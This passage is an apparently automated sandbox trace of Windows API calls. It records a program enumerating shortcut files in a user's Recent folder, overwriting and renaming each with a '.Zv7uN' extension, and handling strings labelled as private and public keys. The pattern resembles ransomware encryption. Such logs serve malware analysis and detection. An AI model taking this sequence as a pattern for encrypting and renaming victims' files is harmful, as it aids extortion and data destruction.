HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9e8NTycG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\9e8ntycg.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.877] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x3e8, lpOverlapped=0x0) returned 1 [0079.879] CloseHandle (hObject=0x124) returned 1 [0079.914] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9e8NTycG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\9e8ntycg.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9e8NTycG.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\9e8ntycg.lnk.zv7un")) returned 1 [0079.915] GetCurrentThreadId () returned 0xa30 [0079.915] GetCurrentThreadId () returned 0xa30 [0079.915] GetCurrentThreadId () returned 0xa30 [0079.915] GetCurrentThreadId () returned 0xa30 [0079.915] GetCurrentThreadId () returned 0xa30 [0079.915] GetCurrentThreadId () returned 0xa30 [0079.916] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a90a80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1a90a80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1a90a80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa31, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="aFzddHE Qh9x.lnk", cAlternateFileName="AFZDDH~1.LNK")) returned 1 [0079.916] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.916] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.916] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFzddHE Qh9x.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\afzddhe qh9x.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a90a80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1a90a80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1a90a80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa31)) returned 1 [0079.916] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFzddHE Qh9x.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\afzddhe qh9x.lnk")) returned 0x20 [0079.916] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFzddHE Qh9x.lnk", dwFileAttributes=0x80) returned 1 [0079.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.920] GetCurrentThreadId () returned 0xa30 [0079.920] GetCurrentThreadId () returned 0xa30 [0079.920] GetCurrentThreadId () returned 0xa30 [0079.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.921] GetCurrentThreadId () returned 0xa30 [0079.921] GetCurrentThreadId () returned 0xa30 [0079.921] GetCurrentThreadId () returned 0xa30 [0079.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFzddHE Qh9x.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\afzddhe qh9x.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.921] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.921] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.921] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa31 [0079.921] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.921] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa31, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa31, lpOverlapped=0x0) returned 1 [0079.923] CloseHandle (hObject=0x124) returned 1 [0079.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFzddHE Qh9x.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\afzddhe qh9x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.925] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa31, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa31, lpOverlapped=0x0) returned 1 [0079.926] CloseHandle (hObject=0x124) returned 1 [0079.929] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFzddHE Qh9x.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\afzddhe qh9x.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFzddHE Qh9x.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\afzddhe qh9x.lnk.zv7un")) returned 1 [0079.930] GetCurrentThreadId () returned 0xa30 [0079.930] GetCurrentThreadId () returned 0xa30 [0079.930] GetCurrentThreadId () returned 0xa30 [0079.930] GetCurrentThreadId () returned 0xa30 [0079.930] GetCurrentThreadId () returned 0xa30 [0079.930] GetCurrentThreadId () returned 0xa30 [0079.930] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6528e0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6528e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d6528e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x26b, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="anR_vEBPJQoHgy6nuS.flv.lnk", cAlternateFileName="ANR_VE~1.LNK")) returned 1 [0079.930] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.930] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\anR_vEBPJQoHgy6nuS.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\anr_vebpjqohgy6nus.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6528e0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6528e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d6528e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x26b)) returned 1 [0079.930] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\anR_vEBPJQoHgy6nuS.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\anr_vebpjqohgy6nus.flv.lnk")) returned 0x20 [0079.930] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\anR_vEBPJQoHgy6nuS.flv.lnk", dwFileAttributes=0x80) returned 1 [0079.932] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 